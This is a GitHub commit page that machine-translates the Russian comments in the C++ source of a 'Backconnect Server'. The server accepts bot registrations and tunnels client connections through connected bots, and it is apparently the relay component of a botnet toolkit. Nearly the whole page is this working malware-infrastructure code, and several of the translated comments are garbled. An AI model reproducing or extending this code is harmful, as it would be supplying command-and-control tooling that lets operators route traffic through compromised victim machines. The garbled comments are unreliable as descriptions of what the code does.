Skip to content

Commit

Permalink
Experimentaly translated
Browse files Browse the repository at this point in the history
  • Loading branch information
Visgean committed May 18, 2011
1 parent a024de3 commit 7e39de8
Show file tree
Hide file tree
Showing 179 changed files with 4,025 additions and 4,173 deletions.
12 changes: 6 additions & 6 deletions source/bcserver/core.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@

COREDATA coreData;

//Îïöèè äëÿ Listen.
//Options for Listen.
static const Cui::SWITCH listenSwitches[] =
{
{lng_switch_nologo, lng_switch_nologo_help},
Expand All @@ -24,15 +24,15 @@ static const Cui::SWITCH listenSwitches[] =
{lng_switch_clientport L":[port]", lng_switch_clientport_help}
};

//Êîìàíäû
//Teams
void commandListen(LPWSTR *switches, DWORD switchesCount);

static const Cui::COMMAND commands[] =
{
{lng_command_listen, lng_command_listen_help, commandListen, (Cui::SWITCH *)listenSwitches, sizeof(listenSwitches) / sizeof(Cui::SWITCH)}
};

////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////// ////////////////////////////////////////////////

void Core::init(void)
{
Expand All @@ -53,9 +53,9 @@ void Core::showLogo(void)
Console::writeFormatW(lng_logo, VERSION_MAJOR(BO_CLIENT_VERSION), VERSION_MINOR(BO_CLIENT_VERSION), VERSION_SUBMINOR(BO_CLIENT_VERSION), VERSION_BUILD(BO_CLIENT_VERSION));
}

///////////////////////////////////////////////////////////////////////////////
// Òî÷êà âõîäà.
///////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////// ///////////////////////////
// Entry point.
//////////////////////////////////////////////////// ///////////////////////////

void WINAPI entryPoint(void)
{
Expand Down
15 changes: 7 additions & 8 deletions source/bcserver/core.h
Original file line number Diff line number Diff line change
Expand Up @@ -3,16 +3,16 @@
*/
#pragma once

//Структура для хранения основных данных процесса.
//Structure for storing basic data processes.
typedef struct
{
DWORD exitCode; //Код выхода
DWORD exitCode; //Output Code
struct
{
LPWSTR *args; //Массив командной строки.
int argsCount; //Количество аргументов в командной строке.
LPWSTR *args; //An array of command line.
int argsCount; //The number of arguments on the command line.
}commandLine;
WCHAR fileName[MAX_PATH]; //Текущие имя файла.
WCHAR fileName[MAX_PATH]; //Current file name.
}COREDATA;
extern COREDATA coreData;

Expand All @@ -28,8 +28,7 @@ namespace Core
*/
void uninit(void);

/*
Вывод логотипа.
*/
/*    Display of the logo.
  */
void showLogo(void);
};
22 changes: 10 additions & 12 deletions source/bcserver/language.h
Original file line number Diff line number Diff line change
@@ -1,19 +1,17 @@
/*
ßçûê.
*/
/*  Language.*/
#pragma once

#include "..\common\cui[en].h"

////////////////////////////////////////////////////////////////////////////////////////////////////
// Ëîãîòèï.
////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////// ////////////////////////////////////////////////
// Logo.
//////////////////////////////////////////////////// ////////////////////////////////////////////////

#define lng_logo BO_NAME L" Backconnect Server %u.%u.%u.%u.\nBuild time: " BO_BUILDTIME L".\n\n"

////////////////////////////////////////////////////////////////////////////////////////////////////
// Êîìàíäû è îïöèè.
////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////// ////////////////////////////////////////////////
// Commands and options.
//////////////////////////////////////////////////// ////////////////////////////////////////////////

#define lng_command_listen L"listen"
#define lng_command_listen_help L"Start a backconnect server for one bot."
Expand All @@ -30,9 +28,9 @@
#define lng_switch_ipv6 L"ipv6"
#define lng_switch_ipv6_help L"Listen on IPv6 port."

////////////////////////////////////////////////////////////////////////////////////////////////////
// Listen.
////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////// ////////////////////////////////////////////////
//In Listen.
//////////////////////////////////////////////////// ////////////////////////////////////////////////

#define lng_listen_no_ports L"\nPlease type a correct TCP ports.\n"

Expand Down
84 changes: 42 additions & 42 deletions source/bcserver/listen.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -14,27 +14,27 @@
#include "..\common\backconnect.h"
#include "..\common\cui.h"

//Ìàêñèìàëüíîå âðåìÿ îæèäàíèÿ ïîäêëþ÷åíèÿ ñåðâèñà áîòà íà ëîêàëüíûé ïîðò â ìèëëåñåêóíäàõ.
//Maximum waiting time connection service bot on a local port in millesekundah.
#define BCWAIT_TIMEOUT (10 * 60000)

typedef struct
{
SOCKET list[4]; //Ñîêåòû â ïîðÿäêå ipv4 bot, ipv4 client, ipv6 bot, ipv6 client.
BYTE count; //Ðåàëüíîå êîëè÷åòñâî îêðûòûõ ïîðòîâ.
SOCKET list[4]; //Sockets in order ipv4 bot, ipv4 client, ipv6 bot, ipv6 client.
BYTE count; //Real kolichetsvo an open, ports.
}GENSOCKDATA;

static HANDLE eventQuit;

////////////////////////////////////////////////////////////////////////////////////////////////////
// Ðàáîòà ñ òàáëèöåé õýíäåëîâ.
////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////// ////////////////////////////////////////////////
// Working with Handel's table.
//////////////////////////////////////////////////// ////////////////////////////////////////////////

typedef struct
{
SOCKET client; //Ñîêåò êëèåíòà.
SOCKET bot; //Ñîêåò áîòà.
HANDLE connectedEvent; //Ñèãíàë î ïîäêëþ÷åíèè sBot.
DWORD id; //ID ýëåìåíòà.
SOCKET client; //Client socket.
SOCKET bot; //Socket bot.
HANDLE connectedEvent; //Signal for connecting sBot.
DWORD id; //ID of the element.
}BCCCONNECT;

static DWORD nextBccId;
Expand Down Expand Up @@ -87,7 +87,7 @@ static DWORD addBccConnect(SOCKET client)

BCCCONNECT *newConnect = NULL;

//Îáðåçàåì áåçïîëåçíóþ êîíöîâêó.
//Cut the useless ending.
while(bccListCount > 0 && bccList[bccListCount - 1].id == 0)bccListCount--;

for(DWORD i = 0; i < bccListCount; i++)if(bccList[i].id == 0)
Expand Down Expand Up @@ -142,7 +142,7 @@ static void closeBccConnect(DWORD id)

if(bccConnect != NULL)
{
//ñì. freeBccConnect().
//see freeBccConnect ().
WSocket::tcpClose(bccConnect->client);
WSocket::tcpClose(bccConnect->bot);
CWA(kernel32, CloseHandle)(bccConnect->connectedEvent);
Expand All @@ -152,7 +152,7 @@ static void closeBccConnect(DWORD id)
bccConnect->connectedEvent = NULL;
bccConnect->id = 0;

//Îáðåçàåì êîíåö.
//Cut end.
if(i + 1 == bccListCount)
{
if(--bccListCount == 0)
Expand Down Expand Up @@ -181,7 +181,7 @@ static DWORD WINAPI sockTunnel(void *p)

HANDLE events[2];

//Ïîëó÷àåì ñîáûòèÿ.
//Receive events.
CWA(kernel32, EnterCriticalSection)(&csBccConnect);
BCCCONNECT *bccConnect = getBccConnect(id);
if(bccConnect != NULL)
Expand All @@ -191,7 +191,7 @@ static DWORD WINAPI sockTunnel(void *p)
}
CWA(kernel32, LeaveCriticalSection)(&csBccConnect);

//Æäåì ñîáûòèé.
//We are waiting for events.
if(bccConnect != NULL)
{
DWORD r = CWA(kernel32, WaitForMultipleObjects)(2, events, FALSE, BCWAIT_TIMEOUT);
Expand All @@ -214,7 +214,7 @@ static DWORD WINAPI sockTunnel(void *p)
Console::writeFormatW(lng_listen_tunnel, id);
WSocket::tcpTunnelAndWaitForWinEvent(s1, s2, eventQuit);
}
//else //Íà ñàìîì äåëå ñþäà íå ðåàëüíî ïîïàñòü ÿ òàê äóìàþ.
//else / / In fact, this does not really get what I think.
}
else if(r == WAIT_TIMEOUT)Console::writeFormatW(lng_listen_id_timeout, id);

Expand All @@ -232,27 +232,27 @@ static DWORD WINAPI sockTunnel(void *p)
static void __inline acceptGeneralConnections(const GENSOCKDATA *gsd)
{
SOCKADDR_STORAGE sa;
WCHAR ipStr[MAX_PATH]; //Òåêñòîâîå ïðåäñòàâëåíèå IP.
SOCKET botMainSocket = INVALID_SOCKET; //Óïðàâëÿþùåå ñîåäèíåíèå.
WCHAR ipStr[MAX_PATH]; //The textual representation of IP.
SOCKET botMainSocket = INVALID_SOCKET; //Control connection.
ThreadsGroup::GROUP group;

ThreadsGroup::_createGroup(&group);

for(;;)
{
//FIXME: WSAEventSelect().
//FIXME: WSAEventSelect ().
SOCKET curSocket = WSocket::tcpWaitForEvent(gsd->list, gsd->count, 1000, NULL, 0);

//Îøèáêà.
//Error.
if(curSocket == INVALID_SOCKET && CWA(ws2_32, WSAGetLastError)() != WSAETIMEDOUT)break;

//Ïðîâåðêà ñîîáøåíèÿ î âûõîäå.
//Checking messages while on the output.
if(CWA(kernel32, WaitForSingleObject)(eventQuit, 0) != WAIT_TIMEOUT)break;

//Òàéìàóò.
//Timeout.
if(curSocket == INVALID_SOCKET)continue;

//Ïîëó÷àåì äàííûå ñîåäèíåíèÿ.
//Obtain the data connection.
int saSize = sizeof(SOCKADDR_STORAGE);
SOCKET acceptedSocket = CWA(ws2_32, accept)(curSocket, (sockaddr *)&sa, &saSize);
if(acceptedSocket != INVALID_SOCKET)
Expand All @@ -262,13 +262,13 @@ static void __inline acceptGeneralConnections(const GENSOCKDATA *gsd)
WSocket::ipToStringW(&sa, ipStr);
}

//Ñîêåòû äëÿ áîòà.
//Sockets for the bot.
for(BYTE i = 0; i < gsd->count; i += 2)if(curSocket == gsd->list[i])
{
if(acceptedSocket == INVALID_SOCKET)Console::writeStringW(lng_listen_error_accept_bot, sizeof(lng_listen_error_accept_bot) / sizeof(WCHAR) - 1);
else
{
//Ïîëó÷àåì êîìàíäó.
//Obtain the team.
Backconnect::COMMAND command;
LPSTR commandData = NULL;

Expand All @@ -279,7 +279,7 @@ static void __inline acceptGeneralConnections(const GENSOCKDATA *gsd)
goto NEXT;
}

//Ýòî îñíîâíîå ñîåäèíåíèå. Çàêðûâàåì ñòàðîå.
//This is a basic compound. Close existing ones.
if(command.command == Backconnect::COMMAND_BOTID)
{
WSocket::tcpClose(botMainSocket);
Expand All @@ -291,7 +291,7 @@ static void __inline acceptGeneralConnections(const GENSOCKDATA *gsd)
Mem::free(botId);
}
}
//Ýòî ñåðâèñíîå ñîåäèíåíèå.
//This service connection.
else if(command.command == Backconnect::COMMAND_IS_SERVICE && command.dataSize == sizeof(DWORD))
{
CWA(kernel32, EnterCriticalSection)(&csBccConnect);
Expand All @@ -318,23 +318,23 @@ static void __inline acceptGeneralConnections(const GENSOCKDATA *gsd)
goto NEXT;
}

//Ñîêåòû äëÿ êëèåíòà.
//Sockets for the client.
for(BYTE i = 1; i < gsd->count; i += 2)if(curSocket == gsd->list[i])
{
if(acceptedSocket == INVALID_SOCKET)Console::writeStringW(lng_listen_faccept_client, sizeof(lng_listen_faccept_client) / sizeof(WCHAR) - 1);
//Åñëè áîò åøå íå ïîäêëþ÷åí, îòêëþ÷àåì êëèåíòà.
//If the bot have not yet connected, disable the client.
else if(botMainSocket == INVALID_SOCKET)Console::writeFormatW(lng_listen_accept_bclient, ipStr);
else
{
//Ñîõðàíÿåì êëèåíòñêèé ñîêåò.
//Save the client socket.
DWORD id = addBccConnect(acceptedSocket);
Console::writeFormatW(lng_listen_accept_client, ipStr, id);
if(id > 0 && Backconnect::_writeCommand(botMainSocket, Backconnect::COMMAND_CONNECT, (LPBYTE)&id, sizeof(DWORD)))
{
if(!ThreadsGroup::_createThread(&group, 0, sockTunnel, (LPVOID)(DWORD_PTR)id, NULL, NULL))
{
Console::writeFormatW(lng_error_thread_failed, CWA(kernel32, GetLastError)());
closeBccConnect(id);//Âíóòðè óæå åñòü WSocket::tcpClose(acceptedSocket)
closeBccConnect(id);//Inside is already WSocket:: tcpClose (acceptedSocket)
}
ThreadsGroup::_closeTerminatedHandles(&group);
goto NEXT;
Expand All @@ -343,7 +343,7 @@ static void __inline acceptGeneralConnections(const GENSOCKDATA *gsd)
{
Console::writeFormatW(lng_listen_error_socket, CWA(ws2_32, WSAGetLastError)());

//Îøèáêà íà óïðàâëÿþùåì ñîêåòå.
//Error on control socket.
if(id > 0)
{
WSocket::tcpClose(botMainSocket);
Expand All @@ -362,7 +362,7 @@ NEXT:;

WSocket::tcpClose(botMainSocket);

//Çàêðûòèå ñåðâèñíûõ íèòåé.
//Closure of the service wires.
ThreadsGroup::_waitForAllExit(&group, INFINITE);
ThreadsGroup::_closeGroup(&group);
}
Expand Down Expand Up @@ -421,7 +421,7 @@ void commandListen(LPWSTR *switches, DWORD switchesCount)
{
DWORD botPort, clientPort;

//Ïîëó÷åíèå ïîðòîâ èç êîìàíäíîé ñòðîêè.
//Getting the ports from the command line.
{
LPWSTR botPortAsString = Cui::_getSwitchValue(switches, switchesCount, lng_switch_botport);
LPWSTR clientPortAsString = Cui::_getSwitchValue(switches, switchesCount, lng_switch_clientport);
Expand Down Expand Up @@ -451,15 +451,15 @@ void commandListen(LPWSTR *switches, DWORD switchesCount)
bool ipv4 = (Cui::_getSwitchValue(switches, switchesCount, lng_switch_ipv4) == (LPWSTR)1);
bool ipv6 = (Cui::_getSwitchValue(switches, switchesCount, lng_switch_ipv6) == (LPWSTR)1);

/*
Óêàçàíèå ïðîòîêîëà ïî óìîë÷àíèþ.
 äàëåêîì áóäóùåì, êîãäà îñíîâíûì ïðîòîêîëîì ñòàíåò ipv6, íåîáõîäèìî çàìåíèòü ýòó ñòðîêó
ñîîòâåòñâåííî.
*/
/*    
    Specifying the default protocol.
    
    In the distant future, when the basic protocol would ipv6, needs to be replaced this line
    respectively.
  */
if(!ipv4 && !ipv6)ipv4 = true;

//Ñîçäàåì ñîêåòû.
//Create a socket.
GENSOCKDATA gsd;
Mem::_zero(&gsd, sizeof(GENSOCKDATA));

Expand All @@ -479,7 +479,7 @@ void commandListen(LPWSTR *switches, DWORD switchesCount)
gsd.count += 2;
}

//Ïðîâåðÿåì óñïåøíî ëè ñîçäàíû âñå ñîêåòû.
//Checking whether successfully created all the sockets.
for(BYTE i = 0; i < gsd.count; i++)if(gsd.list[i] == INVALID_SOCKET)
{
coreData.exitCode = Cui::EXITCODE_ERROR_SOCKET;
Expand Down
Loading

0 comments on commit 7e39de8

Please sign in to comment.